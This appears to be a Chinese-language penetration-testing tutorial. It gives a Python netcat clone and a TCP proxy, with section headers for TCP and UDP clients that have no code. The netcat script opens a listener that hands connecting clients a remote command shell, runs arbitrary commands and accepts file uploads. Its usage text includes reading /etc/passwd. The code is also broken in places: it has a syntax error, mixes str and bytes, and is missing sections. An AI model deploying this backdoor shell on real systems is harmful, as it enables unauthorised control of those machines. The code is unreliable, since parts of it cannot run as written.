1 先来看看不可少的socket模块
(1)tcp_client.py
在渗透测试过程中,创建一个tcp客户端连接服务,发送垃圾数据,进行模糊测试等。

(2)udp_client.py


2 nc工具的实现
进入服务器以后如果没有安装nc,这个时候却有,这样子可以创建简单的客户端和服务器传递使用的文件,或者创建监听让自己拥有控制命令行的操作权限
需要学习的模块
getopt模块处理命令行
threading模块
socket模块
subprocess模块

1 #!/usr/bin/env python3
2 # coding=utf-8
3 import sys
4 from socket import *
5 import getopt # 用来处理命令行参数
6 import threading
7 import subprocess # 启动一个shell,并控制输入输出
8
9 # -e和-p有问题,mac下运行没什么问题,win下有问题,运行的命令会出现问题。
10 listen = False
11 command = False
12 upload = False
13 execute = ""
14 target = ""
15 upload_destination = ""
16 port = 0
17
18 #帮助提示
19 def usage():
20 print("netcat")
21 print("Usage:nc_hacker.py -t target_host -p target_port")
22 print("-l --listen - listen on [host]:[port] for incoming connections")
23 print("-e --execute=ile_to_run - execute the given file upon receiving a connection")
24 print("-c --command - initialize a command shell")
25 print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
26 print("Examples: ")
27 print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -c")
28 print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")
29 print("nc_hacker.py -t 192.168.0.1 -p 5555 -l -e \"cat /etc/passwd\"")
30 print("echo 'ABCDEFGHI' | ./nc_hacker.py -t 192.168.11.12 -p 135")
31 sys.exit(0)
32
33
34 # 主函数
35 def main():
36 global listen
37 global port
38 global execute
39 global command
40 global upload_destination
41 global target
42 # 没有输入值就显示菜单
43 if not len(sys.argv[1:]):
44 usage()
45 try:
46 # getopt模块处理命令行,
47 # h后面没有冒号:表示后面不带参数,p:和i:后面有冒号表示后面需要参数
48 # help后面没有等号=,表示后面不带参数,有=,表示后面需要参数
49 # 返回值options是个包含元祖的列表,每个元祖是分析出来的格式信息,比如[('-i','127.0.0.1'),('-p','80')]
50 # args 是个列表,包含那些没有‘-’或‘--’的参数,比如:['55','66']
51 opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
52 ["help", "listen", "execute", "target", "port", "command", "upload"])
53 except getopt.GetoptError as err:
54 print(str(err))
55 usage()
56 for o, a in opts:
57 if o in ("-h", "--help"):
58 usage()
59 elif o in ("-l", "--listen"):
60 listen = True
61 elif o in ("-e", "--execute"):
62 execute = a
63 elif o in ("-c", "--command"):
64 command = True
65 elif o in ("-u", "--upload"):
66 upload_destination = a
67 elif o in ("-t", "--target"):
68 target = a
69 elif o in ("-p", "--port"):
70 port = int(a)
71 else:
72 print("unhandled option")
73 # 从标准输入中发送数据
74 if not listen and len(target) and port > 0:
75 # 读取输入的数据
76 # 这里将阻塞,发送ctrl-d使用
77 buffer = input() # sys.stdin.read()
78 # 发送数据
79 client_sender(buffer)
80 # 进行监听
81 if listen:
82 print('the server is listening on %s:%d' % (target, port))
83 server_loop()
84
85
86 # 客户端代码
87 def client_sender(buffer):
88 client = socket(AF_INET, SOCK_STREAM)
89 try:
90 print("start connecting...")
91 client.connect((target, port))
92 print("connected")
93 # 如果我们检测到来自stdin的输入。
94 # 如果不是,我们就等待用户输入。
95 if len(buffer):
96 client.send(buffer)
97 while True:
98 # 等待数据回传
99 recv_len = 1
100 response = ""
101 print("waiting response:")
102 while recv_len:
103 data = client.recv(4096)
104 recv_len = len(data)
105 response += data.decode("utf-8")
106 if recv_len < 4096:
107 break
108 print(response, end="")
109 # 等待更多输入
110 buffer = input("")
111 buffer += "\n"
112 client.send(buffer.encode("utf-8"))
113 except:
114 print("[*] Exception! Exiting.")
115 # 断开连接
116 client.close()
117
118
119 # 服务端代码
120 def server_loop():
121 global target, port
122
123 # 如果没有定义目标,就监听所有接口
124 if not len(target):
125 target = "0.0.0.0"
126 server = socket(AF_INET, SOCK_STREAM)
127 server.bind((target, port))
128 server.listen(5)
129
130 while True:
131 client_socket, addr = server.accept()
132 # print(client_socket)<socket._socketobject object at 0x107552d00>
133 # 分出一个线程来处理新的客户端
134 client_thread = threading.Thread(target=client_handler, args=(client_socket,))
135 client_thread.start()
136
137
138 # -c命令
139 def run_command(command):
140 # 返回从字符串末尾删除所有字符串的字符串(默认空白字符)的副本
141 command = command.rstrip()
142 # 运行命令并将输出返回
143 try:
144 # subprocess.STDOUT是抛出异常。
145 output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
146 except:
147 output = "Failed to execute command.\r\n"
148 # 将输出发送
149 return output
150
151
152 # 处理传入的客户端连接
153 def client_handler(client_socket):
154 global upload, execute,
155 # 检测上传文件command
156 if len(upload_destination):
157 # 读取所有的字节并写入
158 file_buffer = ""
159 # 持续读取数据直到没有数据可用为止,有问题
160 while True:
161 data = client_socket.recv(1024)
162 if not data:
163 break
164 else:
165 file_buffer += data
166 # 现在我们取这些字节并试着把它们写出来。
167 try:
168 print('opening')
169 #打开文件并写入
170 file_descriptor = open(upload_destination, "wb")
171 file_descriptor.write(file_buffer)
172 print('written')
173 file_descriptor.close()
174
175 # 确认文件是否上传
176 client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
177 except:
178 client_socket.send("Failed to save file to %s\r\n" % upload_destination)
179 # 检查命令执行
180 if len(execute):
181 # 运行命令
182 output = run_command(execute)
183 client_socket.send(output)
184 # 如果需要一个命令shell,那我们进入另一个循环,。
185 if command:
186 while True:
187 # 跳出一个窗口
188 client_socket.send(b"<netcat:#> ")
189 # 现在我们接收文件直到发现换行符(enter key)
190 cmd_buffer = ""
191 while "\n" not in cmd_buffer:
192 cmd_buffer += client_socket.recv(1024).decode("utf-8")
193 # 返还命令输出
194 response = run_command(cmd_buffer)
195 # 返回相应数据
196 client_socket.send(response)
197
198
199 if __name__ == "__main__":
200 main()
4 tcp代理的实现
了解未知的协议,修改发送到应用的数据包或者为模糊测试创建一个测试环境。
思路:
server_loop中循环接受---->每接受一次连接就开启线程执行proxy_handler----->连接目标主机----->本地读取发送目标主机

1 #!/usr/bin/env python3
2 # coding=utf-8
3 import sys
4 from socket import *
5 import threading
6
7
8 # 16进制导出函数
9 def hexdump(src, length=16):
10 result = []
11 # 判读输入是否为字符串
12 digits = 4 if isinstance(src, str) else 2
13 for i in range(0, len(src), length):
14 # 将字符串切片为16个为一组
15 s = src[i:i + length]
16 # 用16进制来输出,x是digits的值,表示输出宽度
17 hexa = ' '.join(["%0*X" % (digits, (x)) for x in s])
18 # 用来输出原值
19 text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s])
20 # %-*s, 星号是length*(digits + 1)的值
21 result.append("%04X %-*s %s" % (i, length * (digits + 1), hexa, text))
22 print('\n'.join(result))
23
24
25 # 设置延时有问题,后续更改
26 def receive_from(connection):
27 buffer = b""
28 # 设置5s延迟,connection=socket(AF_INET, SOCK_STREAM)
29 connection.settimeout(5)
30 try:
31 # 保持数据的读取直到没有数据或超时
32 while True:
33 data = connection.recv(4096)
34 if not data:
35 break
36 buffer += data
37 except:
38 pass
39 return buffer
40
41
42 # 对目标主机的请求数据进行修改
43 def request_handler(buffer):
44 return buffer
45
46
47 # 对返回本地主机的响应数据进行修改
48 def response_handler(buffer):
49 return buffer
50
51
52 def proxy_handler(client_socket, target_host, target_port, receive_first):
53 # 连接目标主机
54 target_socket = socket(AF_INET, SOCK_STREAM)
55 target_socket.connect((target_host, target_port))
56
57 # 必要时从目标主机接收数据
58 if receive_first:
59 target_buffer = receive_from(target_socket)
60 hexdump(target_buffer)
61 # 发送给我们的响应处理程序
62 target_buffer = response_handler(target_buffer)
63 # 如果要发送数据给本地客户端,发送它
64 if len(target_buffer):
65 print("[<==] Sending %d bytes to localhost." % len(target_buffer))
66 client_socket.send(target_buffer)
67
68 # 现在我们从本地循环读取数据,发送给远程主机和本地主机
69 while True:
70 # 从本地读取数据
71 local_buffer = receive_from(client_socket)
72 if len(local_buffer):
73 print("[==>] Received %d bytes from localhost." % len(local_buffer))
74 hexdump(local_buffer)
75 # 发送给我们的本地请求
76 local_buffer = request_handler(local_buffer)
77 # 发送数据给目标主机
78 target_socket.send(local_buffer)
79 print("[==>] Sent to target.")
80
81 # 接收响应的数据
82 target_buffer = receive_from(target_socket)
83
84 if len(target_buffer):
85 print("[<==] Received %d bytes from target." % len(target_buffer))
86 hexdump(target_buffer)
87 # 发送到响应处理函数
88 target_buffer = response_handler(target_buffer)
89 # 将响应发送给本地socket
90 client_socket.send(target_buffer)
91 print("[<==] Sent to localhost.")
92
93 # 两边没有数据了,就关闭连接
94 if not len(local_buffer) or not len(target_buffer):
95 client_socket.close()
96 target_socket.close()
97 print("[*] No more data. Closing connections.")
98 break
99
100
101 def server_loop(local_host, local_port, target_host, target_port, receive_first):
102 server = socket(AF_INET, SOCK_STREAM)
103 try:
104 server.bind((local_host, local_port))
105 except:
106 print("[!!] Failed to listen on %s:%d" % (local_host, local_port))
107 print("[!!] Check for other listening sockets or correct permissions.")
108 sys.exit(0)
109
110 print("[*] Listening on %s:%d" % (local_host, local_port))
111
112 server.listen(5)
113
114 while True:
115 client_socket, addr = server.accept()
116 # 本地连接信息
117 print("[==>] Received incoming connection from %s:%d" % (addr[0], addr[1]))
118 # 开启线程和目标主机通信
119 proxy_thread = threading.Thread(target=proxy_handler,
120 args=(client_socket, target_host, target_port, receive_first))
121 proxy_thread.start()
122
123
124 def main():
125 if len(sys.argv[1:]) != 5:
126 print("Usage: ./proxy.py [localhost] [localport] [targethost] [targetport] [receive_first]")
127 print("Example: ./proxy.py 127.0.0.1 9000 10.12.132.1 9000 True")
128 sys.exit(0)
129 # 本地参数
130 local_host = sys.argv[1]
131 local_port = int(sys.argv[2])
132 # 目标参数
133 target_host = sys.argv[3]
134 target_port = int(sys.argv[4])
135
136 receive_first = sys.argv[5]
137
138 if "True" in receive_first:
139 receive_first = True
140 else:
141 receive_first = False
142
143 # 开始监听
144 server_loop(local_host, local_port, target_host, target_port, receive_first)
145
146
147 main()
